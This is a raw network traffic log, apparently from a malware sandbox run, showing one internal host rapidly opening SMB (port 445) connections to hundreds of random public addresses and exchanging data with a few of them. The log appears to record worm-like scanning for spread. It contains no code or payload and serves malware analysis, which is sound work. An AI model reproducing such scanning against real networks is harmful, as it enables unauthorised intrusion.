Jul 20, 2022 15:44:53.371125937 CEST	443	51905	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:53.371234894 CEST	51905	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:53.371521950 CEST	51905	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:53.371541977 CEST	443	51905	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:53.429938078 CEST	51918	445	192.168.2.7	103.68.252.109
Jul 20, 2022 15:44:53.456398010 CEST	51919	445	192.168.2.7	108.115.162.201
Jul 20, 2022 15:44:53.456434965 CEST	51920	445	192.168.2.7	150.189.246.76
Jul 20, 2022 15:44:53.457040071 CEST	51921	445	192.168.2.7	21.113.50.40
Jul 20, 2022 15:44:53.457151890 CEST	51922	445	192.168.2.7	101.163.30.244
Jul 20, 2022 15:44:53.457360983 CEST	51926	445	192.168.2.7	13.126.15.225
Jul 20, 2022 15:44:53.457384109 CEST	51925	445	192.168.2.7	188.242.6.140
Jul 20, 2022 15:44:53.457631111 CEST	51927	445	192.168.2.7	91.86.104.175
Jul 20, 2022 15:44:53.457633972 CEST	51928	445	192.168.2.7	116.173.136.171
Jul 20, 2022 15:44:53.457726002 CEST	51929	445	192.168.2.7	197.213.170.103
Jul 20, 2022 15:44:53.457817078 CEST	51930	445	192.168.2.7	222.0.6.45
Jul 20, 2022 15:44:53.458003044 CEST	51934	445	192.168.2.7	205.26.162.187
Jul 20, 2022 15:44:53.458018064 CEST	51933	445	192.168.2.7	171.44.157.211
Jul 20, 2022 15:44:53.458193064 CEST	51937	445	192.168.2.7	200.187.144.130
Jul 20, 2022 15:44:53.458359957 CEST	51941	445	192.168.2.7	53.2.58.177
Jul 20, 2022 15:44:53.458386898 CEST	51939	445	192.168.2.7	198.205.196.73
Jul 20, 2022 15:44:53.458487034 CEST	51942	445	192.168.2.7	48.199.3.221
Jul 20, 2022 15:44:53.458607912 CEST	51944	445	192.168.2.7	151.195.178.254
Jul 20, 2022 15:44:53.458610058 CEST	51943	445	192.168.2.7	190.58.155.26
Jul 20, 2022 15:44:53.458730936 CEST	51945	445	192.168.2.7	121.135.234.242
Jul 20, 2022 15:44:53.458739996 CEST	51947	445	192.168.2.7	70.217.150.5
Jul 20, 2022 15:44:53.458751917 CEST	51946	445	192.168.2.7	123.235.110.56
Jul 20, 2022 15:44:53.782031059 CEST	49716	443	192.168.2.7	204.79.197.200
Jul 20, 2022 15:44:54.414244890 CEST	51952	445	192.168.2.7	107.162.195.60
Jul 20, 2022 15:44:54.445900917 CEST	51954	445	192.168.2.7	210.185.248.182
Jul 20, 2022 15:44:54.445962906 CEST	51955	445	192.168.2.7	202.220.221.84
Jul 20, 2022 15:44:54.462305069 CEST	51957	445	192.168.2.7	121.224.47.113
Jul 20, 2022 15:44:54.478060007 CEST	51958	445	192.168.2.7	111.3.44.34
Jul 20, 2022 15:44:54.479518890 CEST	51960	445	192.168.2.7	11.248.237.244
Jul 20, 2022 15:44:54.480508089 CEST	51961	445	192.168.2.7	134.43.80.38
Jul 20, 2022 15:44:54.481108904 CEST	51962	445	192.168.2.7	4.226.19.14
Jul 20, 2022 15:44:54.481838942 CEST	51963	445	192.168.2.7	36.6.216.180
Jul 20, 2022 15:44:54.555246115 CEST	51964	445	192.168.2.7	202.39.234.157
Jul 20, 2022 15:44:54.570709944 CEST	51965	445	192.168.2.7	159.232.6.229
Jul 20, 2022 15:44:54.571460962 CEST	51966	445	192.168.2.7	121.252.165.245
Jul 20, 2022 15:44:54.572194099 CEST	51967	445	192.168.2.7	200.210.89.197
Jul 20, 2022 15:44:54.573587894 CEST	51969	445	192.168.2.7	1.46.214.198
Jul 20, 2022 15:44:54.574171066 CEST	51970	445	192.168.2.7	76.245.108.191
Jul 20, 2022 15:44:54.575158119 CEST	51972	445	192.168.2.7	100.133.236.27
Jul 20, 2022 15:44:54.595108032 CEST	51973	445	192.168.2.7	42.143.11.121
Jul 20, 2022 15:44:54.613389969 CEST	51974	445	192.168.2.7	2.231.164.137
Jul 20, 2022 15:44:54.613465071 CEST	51975	445	192.168.2.7	124.171.254.150
Jul 20, 2022 15:44:54.613540888 CEST	51976	445	192.168.2.7	68.129.97.162
Jul 20, 2022 15:44:54.613702059 CEST	51979	445	192.168.2.7	14.74.68.170
Jul 20, 2022 15:44:54.613768101 CEST	51980	445	192.168.2.7	43.168.182.167
Jul 20, 2022 15:44:54.613900900 CEST	51983	445	192.168.2.7	92.90.165.93
Jul 20, 2022 15:44:54.614039898 CEST	51986	445	192.168.2.7	80.29.148.181
Jul 20, 2022 15:44:54.614073992 CEST	51987	445	192.168.2.7	31.68.209.73
Jul 20, 2022 15:44:54.614166021 CEST	51988	445	192.168.2.7	26.157.8.252
Jul 20, 2022 15:44:54.614227057 CEST	51989	445	192.168.2.7	146.78.175.185
Jul 20, 2022 15:44:54.614298105 CEST	51990	445	192.168.2.7	26.31.187.246
Jul 20, 2022 15:44:54.614363909 CEST	51991	445	192.168.2.7	194.105.53.189
Jul 20, 2022 15:44:54.614445925 CEST	51992	445	192.168.2.7	102.54.47.199
Jul 20, 2022 15:44:54.614507914 CEST	51993	445	192.168.2.7	170.63.108.73
Jul 20, 2022 15:44:54.743472099 CEST	51995	445	192.168.2.7	188.18.139.30
Jul 20, 2022 15:44:54.830061913 CEST	445	51995	188.18.139.30	192.168.2.7
Jul 20, 2022 15:44:54.830199957 CEST	51995	445	192.168.2.7	188.18.139.30
Jul 20, 2022 15:44:54.832797050 CEST	51995	445	192.168.2.7	188.18.139.30
Jul 20, 2022 15:44:54.914123058 CEST	445	51995	188.18.139.30	192.168.2.7
Jul 20, 2022 15:44:54.918014050 CEST	445	51995	188.18.139.30	192.168.2.7
Jul 20, 2022 15:44:54.919194937 CEST	51995	445	192.168.2.7	188.18.139.30
Jul 20, 2022 15:44:55.002048016 CEST	445	51995	188.18.139.30	192.168.2.7
Jul 20, 2022 15:44:55.002511978 CEST	51995	445	192.168.2.7	188.18.139.30
Jul 20, 2022 15:44:55.089936018 CEST	445	51995	188.18.139.30	192.168.2.7
Jul 20, 2022 15:44:55.090133905 CEST	51995	445	192.168.2.7	188.18.139.30
Jul 20, 2022 15:44:55.145085096 CEST	80	49720	93.184.220.29	192.168.2.7
Jul 20, 2022 15:44:55.145227909 CEST	49720	80	192.168.2.7	93.184.220.29
Jul 20, 2022 15:44:55.174429893 CEST	445	51995	188.18.139.30	192.168.2.7
Jul 20, 2022 15:44:55.175877094 CEST	51995	445	192.168.2.7	188.18.139.30
Jul 20, 2022 15:44:55.226674080 CEST	51998	445	192.168.2.7	188.18.139.31
Jul 20, 2022 15:44:55.262171984 CEST	445	51995	188.18.139.30	192.168.2.7
Jul 20, 2022 15:44:55.262247086 CEST	51995	445	192.168.2.7	188.18.139.30
Jul 20, 2022 15:44:55.316724062 CEST	445	51998	188.18.139.31	192.168.2.7
Jul 20, 2022 15:44:55.316895008 CEST	51998	445	192.168.2.7	188.18.139.31
Jul 20, 2022 15:44:55.317033052 CEST	51998	445	192.168.2.7	188.18.139.31
Jul 20, 2022 15:44:55.320856094 CEST	51999	445	192.168.2.7	188.18.139.31
Jul 20, 2022 15:44:55.447837114 CEST	445	51999	188.18.139.31	192.168.2.7
Jul 20, 2022 15:44:55.447930098 CEST	51999	445	192.168.2.7	188.18.139.31
Jul 20, 2022 15:44:55.448095083 CEST	51999	445	192.168.2.7	188.18.139.31
Jul 20, 2022 15:44:55.448523998 CEST	445	51998	188.18.139.31	192.168.2.7
Jul 20, 2022 15:44:55.456573963 CEST	445	51998	188.18.139.31	192.168.2.7
Jul 20, 2022 15:44:55.456676006 CEST	51998	445	192.168.2.7	188.18.139.31
Jul 20, 2022 15:44:55.523929119 CEST	52001	445	192.168.2.7	157.58.93.181
Jul 20, 2022 15:44:55.535825968 CEST	445	51999	188.18.139.31	192.168.2.7
Jul 20, 2022 15:44:55.543864965 CEST	445	51999	188.18.139.31	192.168.2.7
Jul 20, 2022 15:44:55.546853065 CEST	51999	445	192.168.2.7	188.18.139.31
Jul 20, 2022 15:44:55.572494984 CEST	52004	445	192.168.2.7	209.52.186.149
Jul 20, 2022 15:44:55.572979927 CEST	52005	445	192.168.2.7	187.245.76.205
Jul 20, 2022 15:44:55.593744993 CEST	52007	445	192.168.2.7	52.181.200.202
Jul 20, 2022 15:44:55.604608059 CEST	52008	445	192.168.2.7	54.222.230.80
Jul 20, 2022 15:44:55.604728937 CEST	52010	445	192.168.2.7	132.58.149.50
Jul 20, 2022 15:44:55.604728937 CEST	52009	445	192.168.2.7	33.15.26.13
Jul 20, 2022 15:44:55.604779959 CEST	52011	445	192.168.2.7	179.150.118.110
Jul 20, 2022 15:44:55.604808092 CEST	52012	445	192.168.2.7	21.60.111.209
Jul 20, 2022 15:44:55.639799118 CEST	445	51999	188.18.139.31	192.168.2.7
Jul 20, 2022 15:44:55.639986992 CEST	51999	445	192.168.2.7	188.18.139.31
Jul 20, 2022 15:44:55.680743933 CEST	52014	445	192.168.2.7	162.199.123.13
Jul 20, 2022 15:44:55.704233885 CEST	52015	445	192.168.2.7	145.150.202.9
Jul 20, 2022 15:44:55.704375029 CEST	52016	445	192.168.2.7	160.87.253.236
Jul 20, 2022 15:44:55.704494953 CEST	52017	445	192.168.2.7	100.72.80.47
Jul 20, 2022 15:44:55.704684019 CEST	52019	445	192.168.2.7	40.254.43.35
Jul 20, 2022 15:44:55.704801083 CEST	52022	445	192.168.2.7	134.69.92.161
Jul 20, 2022 15:44:55.704806089 CEST	52020	445	192.168.2.7	66.222.205.162
Jul 20, 2022 15:44:55.713017941 CEST	52023	445	192.168.2.7	182.160.188.60
Jul 20, 2022 15:44:55.717080116 CEST	52024	445	192.168.2.7	154.146.40.48
Jul 20, 2022 15:44:55.717180967 CEST	52027	445	192.168.2.7	161.65.4.196
Jul 20, 2022 15:44:55.717211962 CEST	52026	445	192.168.2.7	194.211.32.233
Jul 20, 2022 15:44:55.717283964 CEST	52028	445	192.168.2.7	192.161.56.242
Jul 20, 2022 15:44:55.717381001 CEST	52030	445	192.168.2.7	111.106.145.169
Jul 20, 2022 15:44:55.717473984 CEST	52034	445	192.168.2.7	126.34.38.181
Jul 20, 2022 15:44:55.717562914 CEST	52036	445	192.168.2.7	201.215.217.62
Jul 20, 2022 15:44:55.717592955 CEST	52037	445	192.168.2.7	167.244.157.114
Jul 20, 2022 15:44:55.717658043 CEST	52038	445	192.168.2.7	7.5.168.47
Jul 20, 2022 15:44:55.717664957 CEST	52039	445	192.168.2.7	195.183.174.163
Jul 20, 2022 15:44:55.717746019 CEST	52040	445	192.168.2.7	121.149.2.226
Jul 20, 2022 15:44:55.717770100 CEST	52041	445	192.168.2.7	75.243.191.18
Jul 20, 2022 15:44:55.717837095 CEST	52042	445	192.168.2.7	33.35.188.130
Jul 20, 2022 15:44:55.717840910 CEST	52043	445	192.168.2.7	2.200.4.103
Jul 20, 2022 15:44:55.731766939 CEST	445	51999	188.18.139.31	192.168.2.7
Jul 20, 2022 15:44:55.731998920 CEST	51999	445	192.168.2.7	188.18.139.31
Jul 20, 2022 15:44:55.823903084 CEST	445	51999	188.18.139.31	192.168.2.7
Jul 20, 2022 15:44:55.827769995 CEST	51999	445	192.168.2.7	188.18.139.31
Jul 20, 2022 15:44:55.919843912 CEST	445	51999	188.18.139.31	192.168.2.7
Jul 20, 2022 15:44:55.920106888 CEST	51999	445	192.168.2.7	188.18.139.31
Jul 20, 2022 15:44:56.106858969 CEST	80	49719	93.184.220.29	192.168.2.7
Jul 20, 2022 15:44:56.106942892 CEST	49719	80	192.168.2.7	93.184.220.29
Jul 20, 2022 15:44:56.649435997 CEST	52049	445	192.168.2.7	83.251.250.207
Jul 20, 2022 15:44:56.695415020 CEST	445	52049	83.251.250.207	192.168.2.7
Jul 20, 2022 15:44:56.712359905 CEST	52051	445	192.168.2.7	128.177.125.54
Jul 20, 2022 15:44:56.714487076 CEST	52053	445	192.168.2.7	69.84.89.248
Jul 20, 2022 15:44:56.714641094 CEST	52054	445	192.168.2.7	68.188.160.123
Jul 20, 2022 15:44:56.731681108 CEST	52056	445	192.168.2.7	10.162.46.109
Jul 20, 2022 15:44:56.731751919 CEST	52057	445	192.168.2.7	112.180.148.254
Jul 20, 2022 15:44:56.731887102 CEST	52058	445	192.168.2.7	39.246.4.110
Jul 20, 2022 15:44:56.732017040 CEST	52059	445	192.168.2.7	38.169.76.97
Jul 20, 2022 15:44:56.732099056 CEST	52060	445	192.168.2.7	96.150.229.194
Jul 20, 2022 15:44:56.824683905 CEST	52061	445	192.168.2.7	180.44.52.68
Jul 20, 2022 15:44:56.825539112 CEST	52062	445	192.168.2.7	31.244.254.76
Jul 20, 2022 15:44:56.826404095 CEST	52063	445	192.168.2.7	55.202.242.195
Jul 20, 2022 15:44:56.828340054 CEST	52064	445	192.168.2.7	78.140.145.107
Jul 20, 2022 15:44:56.829690933 CEST	52066	445	192.168.2.7	26.27.1.123
Jul 20, 2022 15:44:56.829750061 CEST	52067	445	192.168.2.7	123.63.75.213
Jul 20, 2022 15:44:56.841211081 CEST	52069	445	192.168.2.7	206.254.156.113
Jul 20, 2022 15:44:56.859328032 CEST	52071	445	192.168.2.7	36.101.193.143
Jul 20, 2022 15:44:56.859344006 CEST	52070	445	192.168.2.7	95.54.122.27
Jul 20, 2022 15:44:56.859457970 CEST	52073	445	192.168.2.7	24.29.152.114
Jul 20, 2022 15:44:56.859469891 CEST	52072	445	192.168.2.7	137.193.48.150
Jul 20, 2022 15:44:56.859590054 CEST	52075	445	192.168.2.7	153.143.96.47
Jul 20, 2022 15:44:56.859592915 CEST	52074	445	192.168.2.7	163.239.216.113
Jul 20, 2022 15:44:56.859704018 CEST	52077	445	192.168.2.7	149.80.140.73
Jul 20, 2022 15:44:56.859725952 CEST	52076	445	192.168.2.7	198.140.107.237
Jul 20, 2022 15:44:56.859831095 CEST	52078	445	192.168.2.7	20.168.202.59
Jul 20, 2022 15:44:56.859978914 CEST	52082	445	192.168.2.7	72.195.36.110
Jul 20, 2022 15:44:56.860059023 CEST	52084	445	192.168.2.7	132.37.174.204
Jul 20, 2022 15:44:56.860197067 CEST	52086	445	192.168.2.7	35.10.237.244
Jul 20, 2022 15:44:56.860270977 CEST	52087	445	192.168.2.7	168.53.40.8
Jul 20, 2022 15:44:56.860379934 CEST	52089	445	192.168.2.7	167.172.108.206
Jul 20, 2022 15:44:56.860411882 CEST	52090	445	192.168.2.7	34.238.127.21
Jul 20, 2022 15:44:57.288398027 CEST	52049	445	192.168.2.7	83.251.250.207
Jul 20, 2022 15:44:57.333709955 CEST	445	52049	83.251.250.207	192.168.2.7
Jul 20, 2022 15:44:57.774244070 CEST	52096	445	192.168.2.7	49.245.180.200
Jul 20, 2022 15:44:57.837686062 CEST	52099	445	192.168.2.7	218.130.183.193
Jul 20, 2022 15:44:57.838701010 CEST	52101	445	192.168.2.7	183.117.241.207
Jul 20, 2022 15:44:57.839385986 CEST	52102	445	192.168.2.7	189.159.177.74
Jul 20, 2022 15:44:57.852437019 CEST	52103	445	192.168.2.7	187.75.120.37
Jul 20, 2022 15:44:57.852936029 CEST	52104	445	192.168.2.7	164.119.207.53
Jul 20, 2022 15:44:57.853488922 CEST	52105	445	192.168.2.7	90.221.150.47
Jul 20, 2022 15:44:57.854039907 CEST	52106	445	192.168.2.7	79.17.222.174
Jul 20, 2022 15:44:57.854702950 CEST	52107	445	192.168.2.7	31.60.12.224
Jul 20, 2022 15:44:57.945971966 CEST	52109	445	192.168.2.7	16.6.107.33
Jul 20, 2022 15:44:57.946652889 CEST	52110	445	192.168.2.7	7.234.116.169
Jul 20, 2022 15:44:57.947175026 CEST	52111	445	192.168.2.7	11.124.182.181
Jul 20, 2022 15:44:57.947688103 CEST	52112	445	192.168.2.7	105.207.137.208
Jul 20, 2022 15:44:57.961787939 CEST	52113	445	192.168.2.7	170.210.126.137
Jul 20, 2022 15:44:57.962332964 CEST	52114	445	192.168.2.7	137.60.234.58
Jul 20, 2022 15:44:57.976758003 CEST	52116	445	192.168.2.7	28.198.55.67
Jul 20, 2022 15:44:57.977288961 CEST	52117	445	192.168.2.7	17.114.172.209
Jul 20, 2022 15:44:57.978332996 CEST	52119	445	192.168.2.7	178.146.19.105
Jul 20, 2022 15:44:57.978863001 CEST	52120	445	192.168.2.7	88.143.134.103
Jul 20, 2022 15:44:57.979358912 CEST	52121	445	192.168.2.7	81.248.143.64
Jul 20, 2022 15:44:57.979847908 CEST	52122	445	192.168.2.7	105.227.71.4
Jul 20, 2022 15:44:57.980393887 CEST	52123	445	192.168.2.7	48.122.194.155
Jul 20, 2022 15:44:57.980870008 CEST	52124	445	192.168.2.7	165.83.1.121
Jul 20, 2022 15:44:57.981398106 CEST	52125	445	192.168.2.7	149.186.247.212
Jul 20, 2022 15:44:57.981998920 CEST	52126	445	192.168.2.7	132.180.167.197
Jul 20, 2022 15:44:57.984448910 CEST	52130	445	192.168.2.7	134.228.167.189
Jul 20, 2022 15:44:57.985210896 CEST	52131	445	192.168.2.7	12.156.89.86
Jul 20, 2022 15:44:57.987088919 CEST	52134	445	192.168.2.7	87.23.139.48
Jul 20, 2022 15:44:57.987792015 CEST	52135	445	192.168.2.7	94.205.67.227
Jul 20, 2022 15:44:57.990186930 CEST	52137	445	192.168.2.7	97.130.188.167
Jul 20, 2022 15:44:58.000015020 CEST	52138	445	192.168.2.7	87.39.126.183
Jul 20, 2022 15:44:58.847842932 CEST	52144	445	192.168.2.7	188.18.139.31
Jul 20, 2022 15:44:58.899810076 CEST	52145	445	192.168.2.7	1.27.178.85
Jul 20, 2022 15:44:58.940443993 CEST	445	52144	188.18.139.31	192.168.2.7
Jul 20, 2022 15:44:58.940598965 CEST	52144	445	192.168.2.7	188.18.139.31
Jul 20, 2022 15:44:58.940732002 CEST	52144	445	192.168.2.7	188.18.139.31
Jul 20, 2022 15:44:58.964554071 CEST	52148	445	192.168.2.7	47.113.172.86
Jul 20, 2022 15:44:58.965516090 CEST	52150	445	192.168.2.7	85.129.37.220
Jul 20, 2022 15:44:58.965989113 CEST	52151	445	192.168.2.7	157.147.175.154
Jul 20, 2022 15:44:58.983040094 CEST	52153	445	192.168.2.7	111.62.26.83
Jul 20, 2022 15:44:58.983550072 CEST	52154	445	192.168.2.7	105.30.34.92
Jul 20, 2022 15:44:58.984098911 CEST	52155	445	192.168.2.7	193.1.34.21
Jul 20, 2022 15:44:58.984858036 CEST	52156	445	192.168.2.7	14.86.58.53
Jul 20, 2022 15:44:58.985399961 CEST	52157	445	192.168.2.7	189.2.173.55
Jul 20, 2022 15:44:59.027801991 CEST	445	52144	188.18.139.31	192.168.2.7
Jul 20, 2022 15:44:59.035876036 CEST	445	52144	188.18.139.31	192.168.2.7
Jul 20, 2022 15:44:59.036089897 CEST	52144	445	192.168.2.7	188.18.139.31
Jul 20, 2022 15:44:59.070930958 CEST	52158	445	192.168.2.7	169.156.19.184
Jul 20, 2022 15:44:59.071499109 CEST	52159	445	192.168.2.7	32.180.191.154
Jul 20, 2022 15:44:59.072002888 CEST	52160	445	192.168.2.7	185.177.189.79
Jul 20, 2022 15:44:59.072518110 CEST	52161	445	192.168.2.7	96.129.11.212
Jul 20, 2022 15:44:59.087523937 CEST	52163	445	192.168.2.7	162.248.172.154
Jul 20, 2022 15:44:59.088274002 CEST	52164	445	192.168.2.7	65.246.65.160
Jul 20, 2022 15:44:59.101747036 CEST	52165	445	192.168.2.7	54.243.51.114
Jul 20, 2022 15:44:59.102314949 CEST	52166	445	192.168.2.7	215.54.237.78
Jul 20, 2022 15:44:59.103307009 CEST	52168	445	192.168.2.7	114.17.206.159
Jul 20, 2022 15:44:59.127805948 CEST	445	52144	188.18.139.31	192.168.2.7
Jul 20, 2022 15:44:59.128602982 CEST	52144	445	192.168.2.7	188.18.139.31
Jul 20, 2022 15:44:59.142604113 CEST	52169	445	192.168.2.7	119.38.35.67
Jul 20, 2022 15:44:59.143795013 CEST	52170	445	192.168.2.7	48.143.214.234
Jul 20, 2022 15:44:59.143846989 CEST	52172	445	192.168.2.7	135.170.128.238
Jul 20, 2022 15:44:59.143857956 CEST	52171	445	192.168.2.7	40.172.194.131
Jul 20, 2022 15:44:59.143986940 CEST	52173	445	192.168.2.7	166.172.140.90
Jul 20, 2022 15:44:59.144037962 CEST	52175	445	192.168.2.7	62.225.181.49
Jul 20, 2022 15:44:59.144067049 CEST	52174	445	192.168.2.7	92.234.32.241
Jul 20, 2022 15:44:59.144268036 CEST	52180	445	192.168.2.7	133.172.0.103
Jul 20, 2022 15:44:59.144408941 CEST	52179	445	192.168.2.7	27.214.47.140
Jul 20, 2022 15:44:59.144421101 CEST	52183	445	192.168.2.7	18.239.244.138
Jul 20, 2022 15:44:59.144515038 CEST	52184	445	192.168.2.7	2.106.95.42
Jul 20, 2022 15:44:59.144562960 CEST	52186	445	192.168.2.7	144.231.187.144
Jul 20, 2022 15:44:59.145680904 CEST	52187	445	192.168.2.7	91.205.140.127
Jul 20, 2022 15:44:59.186573029 CEST	52189	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:44:59.186629057 CEST	443	52189	52.152.110.14	192.168.2.7
Jul 20, 2022 15:44:59.187140942 CEST	52189	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:44:59.188347101 CEST	52190	443	192.168.2.7	20.199.120.151
Jul 20, 2022 15:44:59.188405991 CEST	443	52190	20.199.120.151	192.168.2.7
Jul 20, 2022 15:44:59.188529968 CEST	52190	443	192.168.2.7	20.199.120.151
Jul 20, 2022 15:44:59.189296007 CEST	52190	443	192.168.2.7	20.199.120.151
Jul 20, 2022 15:44:59.189318895 CEST	443	52190	20.199.120.151	192.168.2.7
Jul 20, 2022 15:44:59.198744059 CEST	52189	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:44:59.198767900 CEST	443	52189	52.152.110.14	192.168.2.7
Jul 20, 2022 15:44:59.219763994 CEST	445	52144	188.18.139.31	192.168.2.7
Jul 20, 2022 15:44:59.221095085 CEST	52144	445	192.168.2.7	188.18.139.31
Jul 20, 2022 15:44:59.290200949 CEST	443	52190	20.199.120.151	192.168.2.7
Jul 20, 2022 15:44:59.290507078 CEST	52190	443	192.168.2.7	20.199.120.151
Jul 20, 2022 15:44:59.292599916 CEST	52190	443	192.168.2.7	20.199.120.151
Jul 20, 2022 15:44:59.292623043 CEST	443	52190	20.199.120.151	192.168.2.7
Jul 20, 2022 15:44:59.292828083 CEST	443	52190	20.199.120.151	192.168.2.7
Jul 20, 2022 15:44:59.293747902 CEST	52190	443	192.168.2.7	20.199.120.151
Jul 20, 2022 15:44:59.293812990 CEST	52190	443	192.168.2.7	20.199.120.151
Jul 20, 2022 15:44:59.293823957 CEST	443	52190	20.199.120.151	192.168.2.7
Jul 20, 2022 15:44:59.293960094 CEST	52190	443	192.168.2.7	20.199.120.151
Jul 20, 2022 15:44:59.311966896 CEST	445	52144	188.18.139.31	192.168.2.7
Jul 20, 2022 15:44:59.312100887 CEST	52144	445	192.168.2.7	188.18.139.31
Jul 20, 2022 15:44:59.322849035 CEST	443	52190	20.199.120.151	192.168.2.7
Jul 20, 2022 15:44:59.322941065 CEST	443	52190	20.199.120.151	192.168.2.7
Jul 20, 2022 15:44:59.323035002 CEST	52190	443	192.168.2.7	20.199.120.151
Jul 20, 2022 15:44:59.323210001 CEST	52190	443	192.168.2.7	20.199.120.151
Jul 20, 2022 15:44:59.323230028 CEST	443	52190	20.199.120.151	192.168.2.7
Jul 20, 2022 15:44:59.373708963 CEST	52191	445	192.168.2.7	188.18.139.32
Jul 20, 2022 15:44:59.448045969 CEST	445	52144	188.18.139.31	192.168.2.7
Jul 20, 2022 15:44:59.448216915 CEST	52144	445	192.168.2.7	188.18.139.31
Jul 20, 2022 15:44:59.463006020 CEST	445	52191	188.18.139.32	192.168.2.7
Jul 20, 2022 15:44:59.463208914 CEST	52191	445	192.168.2.7	188.18.139.32
Jul 20, 2022 15:44:59.463413954 CEST	52191	445	192.168.2.7	188.18.139.32
Jul 20, 2022 15:44:59.468605042 CEST	52193	445	192.168.2.7	188.18.139.32
Jul 20, 2022 15:44:59.547447920 CEST	445	52191	188.18.139.32	192.168.2.7
Jul 20, 2022 15:44:59.552035093 CEST	445	52193	188.18.139.32	192.168.2.7
Jul 20, 2022 15:44:59.552222967 CEST	52193	445	192.168.2.7	188.18.139.32
Jul 20, 2022 15:44:59.552359104 CEST	52193	445	192.168.2.7	188.18.139.32
Jul 20, 2022 15:44:59.557317019 CEST	445	52191	188.18.139.32	192.168.2.7
Jul 20, 2022 15:44:59.557471037 CEST	52191	445	192.168.2.7	188.18.139.32
Jul 20, 2022 15:44:59.636082888 CEST	445	52193	188.18.139.32	192.168.2.7
Jul 20, 2022 15:44:59.641695976 CEST	443	52189	52.152.110.14	192.168.2.7
Jul 20, 2022 15:44:59.641793013 CEST	52189	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:44:59.644787073 CEST	52189	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:44:59.644804001 CEST	443	52189	52.152.110.14	192.168.2.7
Jul 20, 2022 15:44:59.645196915 CEST	443	52189	52.152.110.14	192.168.2.7
Jul 20, 2022 15:44:59.648061037 CEST	445	52193	188.18.139.32	192.168.2.7
Jul 20, 2022 15:44:59.656282902 CEST	52193	445	192.168.2.7	188.18.139.32
Jul 20, 2022 15:44:59.674274921 CEST	52189	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:44:59.716502905 CEST	443	52189	52.152.110.14	192.168.2.7
Jul 20, 2022 15:44:59.743338108 CEST	445	52193	188.18.139.32	192.168.2.7
Jul 20, 2022 15:44:59.743571997 CEST	52193	445	192.168.2.7	188.18.139.32
Jul 20, 2022 15:44:59.827225924 CEST	445	52193	188.18.139.32	192.168.2.7
Jul 20, 2022 15:44:59.827480078 CEST	52193	445	192.168.2.7	188.18.139.32
Jul 20, 2022 15:44:59.911467075 CEST	445	52193	188.18.139.32	192.168.2.7
Jul 20, 2022 15:44:59.911588907 CEST	52193	445	192.168.2.7	188.18.139.32
Jul 20, 2022 15:44:59.953923941 CEST	443	52189	52.152.110.14	192.168.2.7
Jul 20, 2022 15:44:59.954008102 CEST	443	52189	52.152.110.14	192.168.2.7
Jul 20, 2022 15:44:59.954087019 CEST	443	52189	52.152.110.14	192.168.2.7
Jul 20, 2022 15:44:59.954108000 CEST	52189	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:44:59.954135895 CEST	443	52189	52.152.110.14	192.168.2.7
Jul 20, 2022 15:44:59.954164028 CEST	52189	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:44:59.954183102 CEST	443	52189	52.152.110.14	192.168.2.7
Jul 20, 2022 15:44:59.954199076 CEST	443	52189	52.152.110.14	192.168.2.7
Jul 20, 2022 15:44:59.954250097 CEST	52189	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:44:59.954262018 CEST	443	52189	52.152.110.14	192.168.2.7
Jul 20, 2022 15:44:59.954286098 CEST	52189	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:44:59.954391003 CEST	443	52189	52.152.110.14	192.168.2.7
Jul 20, 2022 15:44:59.954458952 CEST	443	52189	52.152.110.14	192.168.2.7
Jul 20, 2022 15:44:59.954471111 CEST	52189	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:44:59.954483986 CEST	443	52189	52.152.110.14	192.168.2.7
Jul 20, 2022 15:44:59.954545975 CEST	52189	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:44:59.954680920 CEST	443	52189	52.152.110.14	192.168.2.7
Jul 20, 2022 15:44:59.954781055 CEST	52189	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:44:59.954797029 CEST	443	52189	52.152.110.14	192.168.2.7
Jul 20, 2022 15:44:59.954855919 CEST	443	52189	52.152.110.14	192.168.2.7
Jul 20, 2022 15:44:59.954905987 CEST	52189	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:44:59.972073078 CEST	52189	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:44:59.972110987 CEST	443	52189	52.152.110.14	192.168.2.7
Jul 20, 2022 15:44:59.972124100 CEST	52189	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:44:59.972131014 CEST	443	52189	52.152.110.14	192.168.2.7
Jul 20, 2022 15:44:59.999327898 CEST	445	52193	188.18.139.32	192.168.2.7
Jul 20, 2022 15:44:59.999433994 CEST	52193	445	192.168.2.7	188.18.139.32
Jul 20, 2022 15:45:00.029783010 CEST	52198	445	192.168.2.7	49.153.127.170
Jul 20, 2022 15:45:00.087488890 CEST	52201	445	192.168.2.7	202.184.186.82
Jul 20, 2022 15:45:00.087528944 CEST	52203	445	192.168.2.7	72.101.96.18
Jul 20, 2022 15:45:00.087610006 CEST	52204	445	192.168.2.7	191.33.149.121
Jul 20, 2022 15:45:00.119184017 CEST	52207	445	192.168.2.7	47.3.165.74
Jul 20, 2022 15:45:00.119193077 CEST	52206	445	192.168.2.7	59.105.219.194
Jul 20, 2022 15:45:00.119276047 CEST	52209	445	192.168.2.7	182.197.248.189
Jul 20, 2022 15:45:00.119318008 CEST	52208	445	192.168.2.7	54.111.36.200
Jul 20, 2022 15:45:00.119371891 CEST	52210	445	192.168.2.7	1.252.38.186
Jul 20, 2022 15:45:00.196403027 CEST	52211	445	192.168.2.7	163.208.80.95
Jul 20, 2022 15:45:00.196409941 CEST	52212	445	192.168.2.7	184.37.89.191
Jul 20, 2022 15:45:00.196549892 CEST	52214	445	192.168.2.7	27.78.35.99
Jul 20, 2022 15:45:00.196583986 CEST	52213	445	192.168.2.7	67.56.226.29
Jul 20, 2022 15:45:00.211874962 CEST	52215	445	192.168.2.7	142.217.156.156
